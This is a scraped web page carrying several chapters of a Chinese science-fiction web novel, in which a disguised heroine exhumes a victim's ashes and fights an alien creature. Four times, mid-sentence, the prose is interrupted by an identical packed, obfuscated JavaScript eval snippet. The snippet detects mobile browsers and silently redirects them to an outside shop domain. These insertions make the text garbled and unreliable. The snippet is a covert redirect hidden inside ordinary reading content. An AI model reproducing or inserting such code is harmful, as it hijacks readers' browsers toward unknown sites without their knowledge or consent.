苏祺仍惊魂未定,拉着她的手面色紧绷:“然宝,开枪的到底是谁?是针对你还是无差别攻击?” “开枪的大概是容毓,刚才在楼上我与她打了个照面,我闻到她身上有火药味。”谢然觉得没什么好瞒的,坦然说:“应当是针对,但原因我尚未猜到。” “容毓……”几人互相对视一眼,这名字对他们来说并不陌生。 常纪明说:“容毓是三年级生,听说跟裘千帆走得很近。” 谢然挑眉:“原来是这样么……” 裘千帆想给他妹妹出气,容毓此举说不定就是他授的意。 不过,这个理由并不能打消她对容毓的怀疑。 她与裘小千金不过口舌之争,容毓帮忙出气的方式未免太过火。 万一她在听到枪响后乱了阵脚,没能将子弹躲过去呢? 容毓对她是带着几分真实的杀意的。 只不过借了裘千帆的幌子,即使后续被发现,她也能将事情赖到裘千帆身上。 谢然说:“我并不觉得容毓是颐指气使分不清轻重的人,此人大有问题,我怀疑她与帕尔德的死脱不了干系。” 常纪明不这么认为:“她是容家继承人,即使性子乖张些,也不会意气用事。” “今天的枪袭便足以证明她的问题,她来布朗家绝不是为了给爱德华捧场,我需要有人去盯着她的行踪。”谢然说:“常纪明欧阳淮,这件事交给你们。” “行。”两人没什么意见。 “然宝,布朗先生和你说了什么?”苏祺问。 “他和我做了一场交易。”谢然把爱德华给的照片传到群里,复述了一遍方才的谈话:“我只让他跟着我,你们的行动都是自由的。” “然宝,你要单独行动吗?”苏祺有些担忧,单独行动无疑要冒更大风险,万一遇到意外他们也无法及时支援。 “嗯。”谢然点头:“既然爱德华想监视我们的行动,那我不介意带他见见世面。” 苏祺好奇:“你要做什么?” “这个暂且保密,”谢然说:“苏祺,裘景嵘,我需要你们去完成另一项任务。” “你说。”裘景嵘道:“不管做什么,我都会保护好苏祺小姐。” “不是什么危险的任务。我要你们去查一查近半年来,出入天曜星的外来人口。” 苏祺不解:“然宝,你怀疑凶手不是天曜星上的人吗?” 谢然点头:“可以这么说,记住,重点排查平民。” 那两个异域生物肯定不是天曜星上的土著。而其他星上大多数贵族都能和帕尔德打个照面,算不上完全的陌生人。谢然认为,两个异域生物披着平民皮的可能性更大。 “有什么依据吗?”常纪明越来越觉得奇怪,谢然所有决断几乎都没有逻辑支撑,这让他很难不起疑:“刚才你说怀疑容毓跟帕尔德的死有关,现在又说凶手是外来人口。你的想法完全自相矛盾。” “这是两码事。”谢然说:“我怀疑容和布朗两家有什么见不得人的交易,并且怀疑帕尔德的死与此脱不了干系。容毓作为下任继承人,很大概率是这些交易的知情者,但不见得是凶手。” “为什么你认为凶手是外来人口?”常纪明问出最关键的问题。 谢然沉默。 她知道这些纯是因为有猫猫牌的异能,但他们现在还不知异能的存在,她不能暴露雷安特的身份,但常纪明是个聪明人,不是她随便诹个理由就能打发的。犹豫片刻,说:“你们就当……我用玄学测算出来的吧。” 她并未完全说谎,猫猫牌的异能的确是一种玄学。但联邦奉行唯物主义,所有怪力乱神之说早已被打成邪术,她不知他们几个能否接受这样的说辞。 面前几人怔了片刻,苏祺率先开口,眼睛亮闪闪道:“是用铜钱和龟甲算的嘛?还是用那个叫……塔什么牌算的?” “塔罗牌。”裘景嵘补充。 常纪明平静的目光里也难掩好奇:“这种真的准吗?我家乡曾有个自称巫师的婆婆,用牌给人算命,时准时不准,当时我们都认为她是瞎猜,那些准是瞎猫碰上死耗子。你说的玄学不会也是……” “别瞎说,”苏祺瞪他一眼,然后看向谢然:“然宝肯定是有真本事的,对吧?” “额……”谢然没想到这些人竟接受良好,让她那些准备解释的说辞都没了用武之地,顿了顿说:“虽然不太建议你们依赖玄学,因为这行骗子的确很多。但我的测算还是靠谱的,至少能确定凶手就在近半年的外来人口中。” “我信你。”裘景嵘说。虽然谢然的测算是否准确目前无法考证,但他愿意相信眼前的女孩没有欺骗他们。 “我也信你。”苏祺说。 欧阳淮也跟着点了头,最后连常纪明也打消怀疑,说:“既然已经把队长的位置交给你,我自然相信你的决策。” 众人就此事很快达成一致,谢然看了眼时间,已经接近凌晨,但外面还热闹着。估计宴席会持续到明日的继任典礼。 他们在飞船上休息过一段时间,现在都不困,她决定今晚开始行动。 从包里找出一枚指甲盖大小的定位器交给常纪明,说:“容毓多半已经回来了,你们找机会把这个贴在她身上,开启后信号会直接传到你们的手机。” “好。” 常纪明接过定位器,众人兵分三路。谢然刚走到前厅,爱德华·布朗的视线便追了过来。 “谢然小姐,”他打断客人的攀谈,朝谢然走去:“这么晚了还要出门吗?” 谢然停下脚步,明显感觉所有客人的目光都随爱德华的脚步朝她看来。 她面不改色说:“嗯,你可以选择同我一起。” 这便是暗示爱德华她要出去做正事,要不要同行随他选。 男人毫不犹豫放下酒杯,微笑道:“当然,能陪你出行是我的荣幸。” 他做出回应后,周围目光更多了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565300|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分惊诧和探究,其中不乏有人窃窃私语,不怀好意猜测谢然与他的关系。 谢然依旧是那副冷淡的表情:“劳烦你备一下车,顺带委屈做一回司机。我没驾照。” 那些不礼貌的低语更甚,爱德华甚至听到有人咂嘴和吸气声,但他无所谓,嘴角一直保持完美弧度,点头应道:“好,谢然小姐请到前门稍候。” 等接上谢然,爱德华开口问:“谢小姐想去哪儿?” “去你家祖坟。”谢然说。 “嗯?”男人平整的面容开裂一瞬,不确定又问了一遍:“你想去哪儿?” “去你家祖坟。”谢然目光斜瞥过来:“怎么,有意见?别忘了你答应过什么。” “……”爱德华深吸一口气,重新恢复谦和有礼的微笑:“也不是有意见,只是不知谢小姐去那里做什么呢?” “开棺验尸。”谢然说。 “可是族叔的尸体已被火化,你要验什么呢?” 谢然啧了声,有些不耐烦:“你话怎么那么多?你不去我自己去。” 说着就要下车,爱德华忙锁上车门,踩下油门:“……行,我带你去。但今夜之事你知我知,不可让第三人知道。” 带外人挖自家祖坟,若让别人知道,布朗家一人一口唾沫都要淹死他。 “行。”谢然应了声,她本来也没打算说,爱德华未免太小心。 布朗家祖坟位于极光山山腰,车上不去,两人只能从山脚往上爬。 好在两人体能都不差,将三小时路程硬生生缩短至一半,爬上去大气不带喘。 墓地里阴气重,谢然举着大瓦数的探照灯,都感觉无法驱散环绕在四周的黑暗。 照爱德华指引的方向来到帕尔德坟前,拿铁锹二话不说开挖。棺椁刚入土不久,土壤还算松软,谢然没费多少力气便将棺椁挖了出来。 爱德华紧盯着她手脚麻利地打开棺材掏出骨灰盒,在开盒的一瞬间,出于对死者的敬畏,他下意识闭上眼。 谢然没那么多讲究,将探照灯举过来仔细观察骨灰的颜色——果然不出所料,那骨灰的颜色是不寻常的黑色。 见谢然良久没有动静,爱德华缓缓睁开眼,看到骨灰后惊讶:“这、怎么可能?族叔的骨灰难道被调包了吗?” 谢然神情严肃:“刚火化的时候,帕尔德的骨灰是正常的灰白色对吗?” “是啊。”爱德华说,就因为在那时是正常的,他才会感到震惊。 “之后你们再没检查过骨灰颜色?” “没有。”爱德华摇头。他族叔好歹是一家之主,除了胆大包天的谢然,谁敢开他的骨灰? 他默念了声“族叔莫怪”,大着胆子又仔细往盒子里面瞧了瞧:“这颜色能说明什么?说明族叔死于死前中过毒?” 只有中毒之人骨灰才会呈现不寻常的黑色,但谢然却摇摇头,说:“不是。” 若是中毒,骨灰一开始就是黑色,不会产生变化。 她眉头紧锁,三年前那些曾被异域生物吞噬过的学生,死后的骨灰也是这样,从一开始的灰白色慢慢变成诡异的黑色。 但从猫猫牌给的信息里她能推断出,帕尔德并未被异域生物吞噬过。 她不由产生一种推测,如果骨灰变色是受异域生物影响,那获取异能是否也属于受影响的范畴? 异能来自于异域生物的心核,这么推断下来,应当是合理的。 谢然几乎可以笃定帕尔德生前拥有过异能。但她记得尸检报告上说,帕尔德的尸体是完整的,完整的身体如何容纳异能? 难道真有让人体融合异能的完美方法吗? 13. 第 13 章 不对。 谢然眉头一蹙,忽然想到她似乎遗漏了些什么。 帕尔德曾在半年内迅速衰老。 这是他付出的代价吗? “咕咕——” 寂夜里,一道诡异的叫声打断谢然思考。 一种十分不舒服的感觉漫上心头,她猛然抬头,发现帕尔德的墓碑上竟蹲着个长着翅膀的“怪物”。 那怪物身似蟾蜍,背后却有一双类似蝙蝠的骨翅。她一眼断定,它并非天曜星上的特殊物种,而是异域生物。 “咕咕——”那怪物半截舌头挂在唇边,软趴趴的嘴巴发出人类的声音:“布朗家的人吗……咕——雌性好像不是。” 爱德华头一回见这种畸形生物,心下大骇,但身为骑士团团长的强大心理素质,让他勉强维持住冷静,开口问:“你是谁?” “吾名阿尔,”那怪物张开翅膀,用一种近乎自得的语气说:“可怜的人类,你们一定不知道我的存在,因为我是来自外星的高级物种——蝠蟾。” 爱德华上下打量它两眼,没看出高级在哪。 许是他的目光太不礼貌,蝠蟾鼓起腮帮子,长长的舌头朝他打来。 “快闪开!”谢然急忙喊。 那舌头带着黏稠的毒液,若不小心碰到,非把皮肤烧穿不可。 爱德华反应极快,侧身躲过。蝠蟾舌尖甩到他身后的树干上,合抱粗的树瞬间被腐蚀,拦腰折断。 爱德华深吸一口气,脸色变得有些难看。 没想到这只怪物竟有这么大的杀伤力,他没带武器,今晚该如何脱身? 蝠蟾见他没能中招,有些遗憾:“布朗家的新家主么……似乎比上一任那位强些,至少有几分真本事。” 爱德华眉心一蹙:“你怎知我的身份?” 蝠蟾似乎不想回答他的问题,视线落到谢然脸上:“这位女士瞧着有些眼生,你不是布朗家的人?” 谢然没有说话。蝠蟾又仔细瞧了她两眼:“总感觉你有些熟悉,唔……这眼罩太影响我判断,应该把它摘下来!” 说着,它舌尖朝谢然甩来。谢然迅速弯腰,从长靴里拔出一把小型手枪,朝它砰砰开了两枪。 子弹打在蝠蟾身上没有任何效果,只暂时让它把舌头收了回去。谢然眉头一紧,拥有这么结实的□□,这只异域生物的异能至少在B级以上。 异域生物的异能等级越高,其防御力越强。三年前雷安特曾用枪杀死过D级C级生物,但枪无法对蝠蟾造成伤害,说明它的等级比她曾遇到的异域生物都要高。 这十分不妙。 因为人类与异域生物不同,异能无法提高人体的防御能力,即使谢然把异能提高到S级,本身也只是个脆皮。 而她没有携带任何防护装备,不敢保证自己能扛住蝠蟾的伤害。 好在她的自扼系异能“无烬”能让她受到伤害越高,实力越强。只要不死,甚至可以达到无人能敌的程度。 只要蝠蟾无法对她一击毙命,她就能创造无限可能。 虽然她的异能只有D级,但如今这种情况,只能跟蝠蟾硬碰硬试试了。 唯一的麻烦就是,如果她暴露异能,便会暴露身份。 爱德华还站在这里,虎视眈眈。 她握紧手中铁锹,能不能先把爱德华敲晕? 刚才那两枪无疑惹怒了蝠蟾,还没等她对爱德华下手,蝠蟾便甩着舌头向她袭来。 这次它的速度更快,谢然来不及躲避,被它缠住手腕。 剧烈的灼烧感让她额上瞬间沁出一层薄汗,腕骨在顷刻间断裂。 蝠蟾愈加用力,本以为能将她的右手绞断,没想到那女人竟从左边掏出一把匕首,生生砍断了它的舌头! “咕——!!”蝠蟾收回剩下半截舌头,喉咙里溢出痛苦的惨叫。 寻常人类根本无法伤它分毫,这女人怎么可能! 爱德华见状,赶忙把外衣脱下缠到谢然受伤的手腕上,帮她止血:“忍一忍,我车上有止疼药,还有小型治疗舱。等下山马上给你治疗!” “我没事……”谢然紧咬着牙,面上已无半点血色。 但她依旧死死盯着蝠蟾,神经紧绷,生怕它再做出什么举动。 蝠蟾舌头的断面不断淌血,它没有止血手段,只能忍着剧痛用舌头打了个结。它再次审视面前的女人,从她身上感受到了非比寻常的能量。 “咕——哈!咕——哈哈哈!”蝠蟾大笑,它想说些什么,却因舌头受伤吐字变得含混,最后只留下一句:“你的脸……原来她没有……还拿走了那么强的……咕——哈,真是太有意思了啊哈哈……” 谢然眉头一紧,重新朝它举起枪,这次蝠蟾眼中多了几分戒备,似乎不再自信谢然的枪无法击穿它滑腻的皮肤。 骨翅扇动,带着它的身体飞到半空。 “后会有期了,女士。”蝠蟾目光逐渐变得恶毒:“希望下次见面时,我能品尝到你的尸骨。” 灰暗的身躯很快隐入夜色中,直到视野里再也看不到蝠蟾的身影,谢然才终于松了口气。 “我背你下山。”爱德华在她面前蹲下。 “不用,我还没那么脆弱。”谢然绕过他,把骨灰盒往他手里一塞:“拿好,这是关键证据。” “……哦。” 回到山下,谢然把手放进小型治疗舱,断骨和伤口迅速愈合。 爱德华小心翼翼把骨灰盒放到后座,回到驾驶位启动车子。 方才经历的一切都太超出他的认知,无数谜团和线索像杂乱的毛线在他脑中搅动,让他找不出头绪。 把获知的信息捋了许多遍,才将不对劲的地方一一梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565301|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理出来,哑着嗓子开口:“谢小姐,刚才……你如何伤得那个怪物?” 子弹都无法击穿它的皮肤,为什么谢然仅用一把匕首就能砍断它的舌头? 谢然早知他要这么问,说出提前编好的理由:“或许是误打误撞,那舌头正好是它的弱点。” 爱德华半信半疑:“是么……” 他又沉默了许久,再次开口矛头直指谢然:“为什么你长得和雷安特教授那么像?” “整容整的。”谢然毫无波澜道。 “为什么整成她的模样?你应该知道雷安特在学院名声并不怎么好。” “因为倾慕她,不管她名声怎么样。” “倾慕吗……”爱德华仔细咀嚼这两个字的意味,说:“那你应该对她的故事很了解吧?” 谢然淡淡道:“联邦公开的有关她的信息我都知道。她是享誉联邦的学者,是联邦难得一遇的天才。但人们常说天才与疯子仅一线之隔,为了专注于科研,她长久地封闭自己,最后精神失常残杀卡尔德里斯三十七名优秀学生,被大主司判处死刑。我说的没错吧,爱德华先生?” “唔,没错,事实就是这样……”他虽应和着谢然,眼神却有几分闪烁。 三年前,他初入骑士团,曾跟随大主司上过法庭,对雷安特的证词记忆犹新。 雷安特当时说,她杀的不是学生,而是来自外星文明的异域生物。 当时他同所有人一样,认为这是雷安特为脱罪编的说辞,但今夜见到那畸形的怪物后,他对曾经的判断产生了深深的质疑。 如果雷安特教授没有说谎,他们岂不是既冤枉了好人,又放任那些怪物在联邦肆意生存了三年? 三年,足以让一家小型公司上市,也足以将一个籍籍无名的素人捧成当红明星……三年能做的事太多,那些怪物在这么久的时间里,又能发展到什么地步? 方才他见识到了蝠蟾的实力,那绝非普通人能抗衡的。 如果不是谢然碰巧斩断了它的舌头,他们会不会死在那里? 一想到这儿,爱德华后背就冷汗直流。 “今晚发生的事,应尽早汇报给联邦。”谢然见他良久不说话,不知他头脑风暴到哪里去了,开口将他注意力重新拉回来。 将异域生物公之于众是她此行最重要的目的,她要借帕尔德之死,让联邦意识到这些怪物的存在。 “说得没错。”爱德华点点头,深吸一口气说:“但我作为骑士团团长,得先将这件事汇报给大主司。” “可以。”谢然也想先看看大主司的态度。当年能在雷安特说出异域生物后放她逃生,她笃定大主司也知道异域生物的存在,说不定对这些外来物种,大主司比她了解得还多。 比起联邦上层那些酒囊饭袋,她更好奇大主司会对这件事提出什么应对之策。 14. 第 14 章 供贵族专用的治疗舱效果奇佳,抵达布朗府邸时,谢然的伤已经痊愈。 跟爱德华去到书房,为避免再被怪异目光打量,这次两人从地下车库坐电梯直达顶层。 虽已至深夜,但爱德华毫无顾忌给大主司打去电话,等待接听的间隙还向谢然解释了句:“米里埃先生规定,遇到紧急情况要第一时间向他汇报,无论多晚他都会接通我们的电话,二十年如一日尽职尽责。” “真是伟大啊,做到这种程度,说是为联邦鞠躬尽瘁也不为过。”谢然盯着面前的光屏,不咸不淡赞叹了句。 电话很快接通,大主司的脸浮现在光屏上。 虽然已至深夜,他依旧将头发打理得一丝不苟,眼睛里也没有疲倦。甚至身穿的外袍干净整洁没有一丝褶皱,整个人在屏幕里显得严肃又神圣,让人不由心生敬畏。 谢然暗暗打量他,三年过去,他几乎没有任何变化,只是鬓间的白发多了几根,无伤大雅。 “米里埃先生,很抱歉深夜致电,但今夜发生的事太过离奇,属下实在不从下手,不得不向您汇报,顺便询问一下您的意见。”爱德华向他鞠躬致意,并将谢然拉到镜头内:“这位是谢然小姐,卡尔德里斯一年级生,也是今夜与我同行的伙伴。” 大主司深邃的目光落到谢然身上,虽看到她长相时没有任何波动,但谢然却打心底感受到一阵寒意。 越平淡的目光越让她畏惧。她几乎笃定,大主司看穿了她的真实身份。她心跳陡然加速,无比紧张地盯着大主司那双深不见底的黑眸,不知他会不会当着爱德华的面拆穿她的伪装。 但米里埃目光只在她脸上停留一瞬,似乎对她并不感兴趣。 谢然微微一怔,而后悄悄松了口气,大主司的意思她大概明白了。 看破却不说破,他还和当年一样,给了她一线生机。 爱德华没注意到二人间暗潮涌动,事无巨细将今夜发生的事讲述一遍。 大主司默默听完,沉思片刻后缓缓开口:“也就是说,曾经我们因无知与愤恨,冤枉了一位拯救了卡尔德里斯的教授么?” 爱德华没想到他会先提及过往,愣了片刻才说:“现在看来或许是的。但当时雷安特教授杀害的全是贵族子弟,整个联邦都在给我们施压,卡尔德里斯也要给那些掌权者们一个交代。” “你竟是这般想的吗,爱德华。” 他声音不大,声调在寂夜中也略显低沉,却宛若洪钟击在爱德华耳畔,让他灵魂战栗,额间瞬间布满冷汗。 爱德华喉结滚动,一时想不到该如何回答。刚才那番说辞的确有开脱的意思,但他不是为了自己,更是为了米里埃先生。作为全体公民的“精神支柱”,联邦共同的“信仰”,民众不允许站在神坛上的米里埃先生有任何瑕疵。 神之所以能引领人前进的方向,是因为神不会犯错,所以他下意识想要把曾经的错误遮掩掉,维护米里埃先生神圣的身份。 先生的审判没有错,雷安特是杀人凶手,她死有余辜。 但屏幕内那双深沉的眼眸让他心里没底,莫非米里埃先生不认同他的做法吗? 谢然暗暗翻了个白眼,这位骑士团团长瞧着聪明,实则也是趋名逐利之徒,同骑士团其他人一路货色。 她虽不喜欢他,但也不想让他杵在这儿浪费时间,抬起头用淡漠如水的语气说:“逝者已逝,现在最重要的,是解决眼下的麻烦。否则雷安特的牺牲就变得毫无意义。” 一句话缓和了僵硬的气氛,她余光瞥见爱德华悄悄松了口气。 大主司目光重新落在她身上:“我记得,是你接下了布朗家的案子。” “是。”谢然点头:“我认为异域生物一定与帕尔德·布朗的死密切相关。” “你是帕尔德案的负责人,我想先听听你对那怪物的想法。”大主司说:“异域生物以及它惹出来的乱子,你想如何处理?” 谢然说:“我想让您把这件事暂且全权交给我和我的组员处理,等查清帕尔德·布朗的死因,以及天曜星上所有异域生物的身份,再联系军队将其逮捕。” 爱德华蹙眉:“所有异域生物?你怎知天曜星上的异域生物不止蝠蟾一个?” “猜的。”谢然耸肩:“若当年雷安特教授的口供为真,三十七名学生皆被异域生物控制,且在学院隐藏了很长一段时间,说明这些怪物是有组织的有目的的。蝠蟾自三年前出现在天曜星,虽不知它在密谋什么,但我不信它没有同伴。” 大主司颔首:“你的猜测很有道理。但如若那怪物有同伴,处理起来会更加棘手。方才说连枪都无法伤其分毫,你有什么法子逮捕它们?” 谢然将靴子里的枪拿出来,举到镜头前:“今夜我用的是这种威力不大的小型手枪。我想,若用威力更大的枪支或炸弹,说不定能打穿它的皮肤。” 大主司唔了声,说:“你截掉了那怪物的舌头?” “是。但那只是瞎猫碰上死耗子,天曜星上的异域生物或许不止蝠蟾一种,碰上其他的我也不知该如何解决。” 大主司道:“虽只是运气好,但也给我们看到了破局之策。” 爱德华反应很快:“您是说那些异域生物虽然强大,但都有弱点?” 谢然也明白了他的意思:“物极必反,过刚易折。越强大的异域生物弱点反倒越明显对吗?” 大主司嘴角微微上扬:“孺子可教。” 谢然沉默。 虽然大主司的想法没错,但她击败蝠蟾根本不是靠“弱点”,而是靠异能! 她给大主司和爱德华传递了错误讯息,让他们误以为异域生物存在弱点,这会让他们在战术判断上出现错误。 在战场上,这种错误是致命的。 但她现在又无法解释,否则就会暴露自己拥有异能。 不对…… 一个念头蹙然涌入脑海,谢然眉心一跳,忍不住想:米里埃先生当真不知异能的存在吗? 虽然当年雷安特没有在法庭上提及异能,但作为放她逃走的人,当真对此一无所知吗? 她感觉大主司在装。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565302|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他什么都知道,但碍于第三人存在,许多话不方便讲。 如果没有第三者,他们是否能打开天窗说亮话? 于是她开口:“此次任务完成后,我能去象牙塔见您一面吗?” 从没有学生提过这种狂妄的要求,爱德华讶异地瞪大双眼,急忙道:“大主司身份贵重,岂是你想见就见的?” 谢然不搭理他,只盯着大主司的双眼:“可以吗,米里埃先生?” 米里埃沉吟片刻,说:“不凑巧,三日后我要启程前往不夜星同欧阳夫人叙些旧事,不知何时才能回来。” 这便是变相拒绝了她的意思,谢然有些意外。 “大灾难”即将来临,大主司竟不愿同她这个为数不多的“知情者”透露些情报吗? 大主司究竟想做什么? 这番拒绝实在让她难以理解,她忍不住往更坏的方向去想,米里埃先生是坚定站在人类这边的吗? “先生不出差你也不能见,只有骑士团成员才能面见大主司。你要想进象牙塔,先加入骑士团再说。” 爱德华的声音将她从纷乱的思绪里拉了回来,谢然嗤了一声,说:“我可不稀罕你们骑士团。” 爱德华:“……” 大主司说:“天曜星上的事,就按谢然说的办吧。爱德华,意见相左时,你要听她的话。” 爱德华闻言,急忙道:“可她只是个一年级的学生,这么重要的事……” “听我的安排,爱德华。” “是……”他咬牙应下,作为骑士团的一员,他不可违逆大主司任何命令。 但作为布朗家的家主,他不能让一个外人为所欲为。 通讯挂断后,天边已翻起鱼肚白。宴厅里的客人早散了,爱德华要去筹备白天的继任典礼,谢然独自回房,在沙发上眯了没一会儿,便听到外面响起脚步声。 四名成员皆完成了阶段性任务,返回房间分享情报。 忙了一夜众人眼里难掩疲倦,苏祺借屋里的吧台冲了壶黑咖啡给他们提神。 一杯无奶无糖的冰咖啡灌进喉咙,苦涩的味道在舌根蔓延。裘景嵘五官皱成一团,嘶了一声说:“苏小姐,你下手忒不留情!果然越漂亮的女人心越狠!” 苏祺:“……”咖啡豆就这么苦,关她什么事? “别贫了,说正事。”常纪明从后面推了他一把,坐到另一侧沙发上掏出手机:“我和阿淮在前厅找到了容毓,趁她不注意把定位器贴在了她裙子上。这是她现在的位置。” 他指着屏幕上的红点,根据方位可推断容毓在离他们不远的一间客房里。 那红点几乎是静止的状态,说明容毓应该在休息。 “今晚她一直都在宴会上?”谢然问。 “不,她去见了一个人。”常纪明说:“我们跟着她绕过前厅去到四楼西侧的仆人宿舍,最后发现她进入了管家房间。” “管家?”谢然眉心一蹙,抬眸问:“一位千金小姐为什么要去管家房间?那位管家是什么来头?” 15. 第 15 章 常纪明说:“他叫光久年,打二十岁进入布朗府邸,给布朗氏做了三十年管家。可以说对布朗家的一切都了如指掌。” “听说他父辈曾在曲家任职,光久年定然与曲家有千丝万缕的关系。说不定来布朗府邸做管家,就是曲家安排的。”欧阳淮补充。 “之前那扇玻璃……”谢然手指下意识敲击桌面,边思考边说:“如果是他故意换的,那便合理了。” “然宝,你是说布朗家和容家要联合起来害你吗?那你和爱德华一同出行,岂不是有危险?”苏祺担忧道。 谢然摇头:“不,我觉得枪袭事件与爱德华无关。” “但是你的脸色好苍白,这一定不是我的错觉!”苏祺执拗道。 “额……”谢然没想到她观察那么仔细,只得承认:“刚才我的确受了点伤,不过已经在治疗舱痊愈了,虽然血流得有点多,但不妨事。” 脸色苍白是失血过多造成的,以她的体质休息一会儿就好,不影响行动。 但苏祺仿佛只听到她说“受伤”二字,忙拉过她的手上下翻看,眼里的担忧多得快要溢出来:“你们遇到了什么?凶手吗?” 谢然微微眨了下眼,总觉得这小姑娘的反应有点刻意。 “担忧是真的,我能感受到她的情绪,但没她表现得那么浓烈。” 胖猫的声音倏尔传入脑海,谢然眉梢一挑,惊喜道:“你醒了?” “嗯,你们继续说,不用管我。” 谢然在脑海中回了个“OK”。苏祺的确奇怪,但也只是小问题。她把注意力重新放回任务上,抽回手道:“只是一点皮外伤罢了,先把容毓的问题解决,我的事等下再讲。常纪明你继续说,你们有听到容毓和管家说了什么吗?” 常纪明也把打量苏祺的目光收回来,他是个聪明人,谢然有的怪异感他也有。但当事人既没说什么,他也不好表露过多,于是摇摇头说:“很遗憾,仆人宿舍人来人往,我们没能找到机会上前偷听。” 欧阳淮没那么多心眼,一心扑在任务上,见谢然想听谈话内容,便说:“我包里有枚能收音的定位器,那是我老家的特产,要不明天我们试试把它粘到容毓裙子上?” 他老家不夜星是联邦科技最发达的地方,新奇玩意儿层出不穷,其他星球的人定然想不到定位器上还能安收音装置。 “你说那颗红鹰M-28?”常纪明不赞同:“那颗定位器太大,很容易被发现。” 谢然好奇:“有多大?” “你等我去找。”欧阳淮回房将那颗定位器翻出来,递给谢然。 “确实有点大……”她拿着定位器端详了一阵,这枚定位器大就大在多了一个收音装置,但其用的材料很轻便,握在手里轻飘飘的,如果不是体积太大,贴在衣服上几乎很难被察觉。 “能把收音器从上面拆下来吗?”她问。 “应该可以吧?”欧阳淮拿过定位器,三两下把外壳里的收音芯片拆下,重新递给谢然。 谢然用手机试了下信号,芯片没有外壳保护信号也接收良好,声音十分清晰,连微弱的呼吸声都能听到。 没想到不夜星的做工竟细致到这种地步,她把芯片还给欧阳淮,说:“一会儿想办法把它粘到容毓衣服上。” 苏祺说:“今天继任典礼,容毓小姐应该会换衣服吧?上件衣服上的定位器岂不是没法用了?” 这样他们就只能听音,没法知道容毓在哪了。 谢然也考虑到了这点,说:“无妨,我们既已知她在和管家合作,那现在对我们来说更重要的,是去找他们合作的内容。至于她今天会去哪儿暂且不用管,左不过就是在布朗府邸里打转。” 苏祺点点头,关于调查容毓的事暂时就这么定下。轮到她和裘景嵘汇报昨晚的调查结果。 众人视线不约而同落到她身上,苏祺心跳微微加快,她还是第一次顶着这么多期待的目光发言,像一个接受考核的学生,心里不免泛起一丝紧张。 清了清嗓子才说:“我们去了星舰港口,黑入港口系统查到了近半年出入港口的乘客名单。” 她打开手机,把名单传到群里。众人将名单打开,齐齐皱起眉头。 那名单密密麻麻足有三页,茫茫人海,根本无从查起。 “哎等等,发错了。”见他们表情不对,裘景嵘连忙检查了一眼,往群里发了个新文档:“刚才那个只是我们的初步成果,虽然这半年出入天曜星的人很多,但大多在此停留的时间都不长。我们排除了没有作案条件的,最后只剩下三个。” 苏祺没想到自己一开口就犯错,耳根迅速染上一层薄红,小心翼翼看了谢然一眼,似是怕被嫌弃。 但谢然完全没注意方才那微小的失误,她注意力全放在文档里那用红笔圈出的三个名字上:斯立特,阿尔,伯伦特。直到最后一个名字映入眼帘,她呼吸一窒,下意识蹙起眉头。 “伯伦特……”胖猫的声音再度响起:“我记得他曾在小卖部买过异能。” “嗯……”谢然应了一声。大概一年前,此人在她的小卖部买过一管攻击系异能:C级游冰。作为代价,他留下了一整条左臂。 伯伦特当时说,他买异能是为了寻找走失的妹妹。胖猫判断他没有说谎,且感知到他妹妹的状况很不好,所以谢然才答应将异能卖给了他。 这么长时间也不知他有没有找到妹妹…… “伯伦特为什么会出现在这里?你还记得他是哪颗星上的人吗?”猫猫牌问。 谢然在脑海中回:“记得,他曾说过他家乡在木磁星,找到妹妹后他们要一起回家。” 猫猫牌说:“木磁星离这里十万八千里,伯伦特来天曜星做什么?此人有问题。” 谢然眉头蹙得愈紧,猫猫牌说得没错,一个异能者不远万里来到一颗陌生星球,而这颗星球上恰有作乱的异域生物,这一切是否太过凑巧? 这颗星球上到底藏着什么秘密? 裘景嵘把文档翻到下一页:“我们对这三人做了简单的背调,并把他们购买舰票时用的证件照也贴在了后面。斯立特和阿尔于六个月前乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565303|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 